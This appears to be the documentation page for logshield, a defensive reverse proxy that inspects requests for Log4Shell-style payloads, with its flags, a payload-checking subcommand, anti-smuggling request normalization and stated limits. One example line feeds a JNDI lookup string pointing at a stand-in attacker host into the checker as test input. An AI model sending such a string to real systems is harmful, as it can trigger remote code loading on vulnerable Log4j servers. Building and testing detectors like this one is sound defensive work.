logshield is a reverse proxy: it buffers each request, asks the engine for a
verdict, and either forwards the request to one upstream or answers itself.
This page describes what it guarantees and, just as important, what it does not.
logshield -upstream http://10.0.0.5:8080 -listen 127.0.0.1:8080 -mode block
| Flag | Default | Meaning |
|---|---|---|
-upstream |
required | Backend URL (http or https, no path). |
-listen |
127.0.0.1:8080 |
Listen address. Loopback by default on purpose. |
-mode |
monitor |
monitor logs detections; block also rejects them. |
-block-suspicious |
off | In block mode, also reject suspicious verdicts. |
-on-error |
closed |
Block mode only: what to do if inspection itself fails. |
-max-body |
1 MiB | Largest body that is buffered and inspected. |
-skip-body-type |
none | Media type whose body is streamed uninspected (repeatable). |
-forwarded-for |
replace |
replace, append or off. |
-rewrite-host |
off | Send the upstream's host instead of the client's. |
-admin-listen |
off | /metrics, /healthz, /readyz listener; see observability. |
-max-in-flight |
1024 | Concurrency limit; excess requests get 503. -1 disables. |
-log-level |
info |
debug, info, warn, error. |
-config, -check-config, -disable-rule |
File-based configuration, validation, rule tuning: see configuration. |
logshield check [flags] PAYLOAD
echo '${jndi:ldap://attacker.invalid/a}' | logshield check -
check builds a small request around the payload, runs the same engine with the
same defaults as the proxy, and prints what it found: the verdict, whether block
mode would reject it, and for every detection the rule, where it was found, which
decoding steps revealed it, and the CVE. It makes no network connection and
forwards nothing.
| Flag | Default | Meaning |
|---|---|---|
-in |
header |
Where the payload sits: header, query, path, cookie or body. |
-name |
User-Agent, q, s |
Header, query parameter or cookie name for -in header, query or cookie. |
-json |
off | Print the result as JSON (decision, would_block_in_block_mode, detections, ...). |
-block-suspicious |
off | Report whether strict block mode would also reject a suspicious verdict. |
-disable-rule |
none | Switch off a non-mandatory rule, exactly as in the proxy. Repeatable. |
The payload is placed exactly as given. Percent-encode it yourself if a real
client would (-in query '%24%7Bjndi:...'), because the engine decodes the layers
a real stack would.
| Exit code | Meaning |
|---|---|
0 |
Clean. |
3 |
Suspicious. |
4 |
Malicious, or the engine hit a resource limit and failed closed. |
1 / 2 |
Could not read the input / usage error. |
Everything check prints about the payload is defanged (a dollar sign followed
by a brace never appears), so its output can be pasted into a log or a ticket.
Standard input is limited to 1 MiB. The text layout is meant for people and may
change; the JSON field names and the exit codes are the parts to script against.
Monitor is the default so a first deployment cannot break traffic. The
process says so at startup. Use -mode block once the logs look right.
Exit codes: 0 clean shutdown, 1 runtime failure, 2 usage or configuration error.
- Reject what cannot be forwarded unambiguously:
CONNECTandUpgrade(501), non-origin-form targets, targets starting with//, and targets containing#(400). - Buffer the body up to
-max-body. Oversize bodies: in block mode, 413; in monitor mode the prefix is inspected and the whole body is streamed. - Snapshot the request: method, target,
Host, every header (including hop-by-hop ones and theTransfer-Encodingthat Go's server hides), body. - Inspect with the engine (panics are recovered and treated as inspection errors).
- Decide by mode and policy; on block, answer with a fixed body and a request ID.
- Forward a normalized request built from the same snapshot.
Most WAF bypasses are parser differentials: the WAF sees one request, the
backend another. Request smuggling (Content-Length vs Transfer-Encoding)
is the classic case. The proxy never relays the client's framing. It parses the
request once with Go's HTTP server, forwards a freshly serialized request with a
single Content-Length, drops Transfer-Encoding and trailers, and sends the
request target verbatim (so %24%7B stays as the client wrote it and is not
silently normalized between inspection and forwarding). See
ADR 0003.
The last hop before the network is a RoundTripper that checks the outbound
request against the snapshot that was inspected: method, destination, target,
Host, and body must match, and every header must be one the engine saw or one
the proxy generated (X-Forwarded-For, X-Forwarded-Proto, X-Forwarded-Host,
X-Request-Id). Anything else is a bug and produces a 502, not a forward. Tests
mutate requests at each stage to prove the guard trips.
With -tls-cert and -tls-key the proxy serves HTTPS (TLS 1.2+ with forward-secret AEAD suites only unless -tls-legacy-ciphers; -tls-min-version 1.3 to require 1.3), negotiating HTTP/2 or HTTP/1.1. HTTP/2 is terminated, not
relayed: each stream becomes an ordinary request that is inspected, re-serialized
and sent to the upstream over HTTP/1.1, so :authority, cookie crumbs, trailers
and pseudo-headers cannot create a difference between what was inspected and what
the backend receives. Details and the tested cases are in
ADR 0005. Behavior worth knowing:
- Trailers are never forwarded (gRPC is not supported behind the proxy).
Transfer-Encoding, CRLF in header values and aContent-Lengththat disagrees with the data are refused by the HTTP/2 layer before the handler.- A
Hostheader that differs from:authorityis inspected like any other header. - Under TLS, requests the HTTP server refuses before the handler are refused but
not counted as
protocol-error(see the ADR).
- Mode:
monitornever blocks.blockrejectsmalicious. -block-suspicious: also rejectssuspicious(for example a lookup that could be JNDI but resolves to something unknown). Off by default to protect availability; turn it on for hosts where false positives are cheaper than misses.-on-errorapplies only to inspection failures (a bug, a panic). Engine verdicts, including budget exhaustion, are never fail-open: a request that exhausts the decoder budget ismaliciousby design.
Log lines can themselves be a Log4Shell vector when they reach a vulnerable
log pipeline. Every string the proxy logs passes through a handler that rewrites
${ to $%7B; evidence from the engine is already defanged at source. The
query string is never logged, only the path and the query length. At most 8
detections are logged per request.
Server timeouts (header 10 s, read 30 s, idle 90 s), 64 KiB header limit,
environment proxy variables ignored for the upstream, response compression
disabled so bodies are relayed as-is, graceful shutdown on SIGINT/SIGTERM
(15 s).
make integration runs the proxy in front of Node.js (llhttp), Python's
http.server (which does not understand chunked bodies, a useful differential),
and the JDK's HTTP server, and checks what each backend actually parsed:
verbatim targets, a request smuggled inside a body staying a body, chunked bodies
re-framed with exactly one Content-Length, pipelined requests staying separate,
headers unfolded, malformed requests never delivered, and blocked attacks never
reaching the backend (the backend's request counter proves it). CI runs it with
REQUIRE_BACKENDS=1. Differential testing against a vulnerable Log4j is done
in the lab; see lab.md.
- Requests Go's server rejects as malformed (bad framing, invalid header bytes,
oversize headers, unsupported versions) never reach the handler. They are safe
(they are never forwarded) and are still observed: the binary wraps its listener
with
Proxy.WrapListener, which recognizes the server's own error responses and emits an event (rejected, reasonprotocol-error, with the status and client address) and a warning log line. This relies on the exact shape of those responses and is pinned by tests on every Go version CI covers. It works on plain-text connections only: with TLS they are still refused but not counted (ADR 0005). TE: trailersand similar end-to-end-looking headers are relayed byhttputil.ReverseProxy; they are inspected like any other header.- WebSocket and other
Upgradetraffic is not supported. - Throughput and latency are measured in load-report.md; the p99 target is met on the lab host, not guaranteed on yours.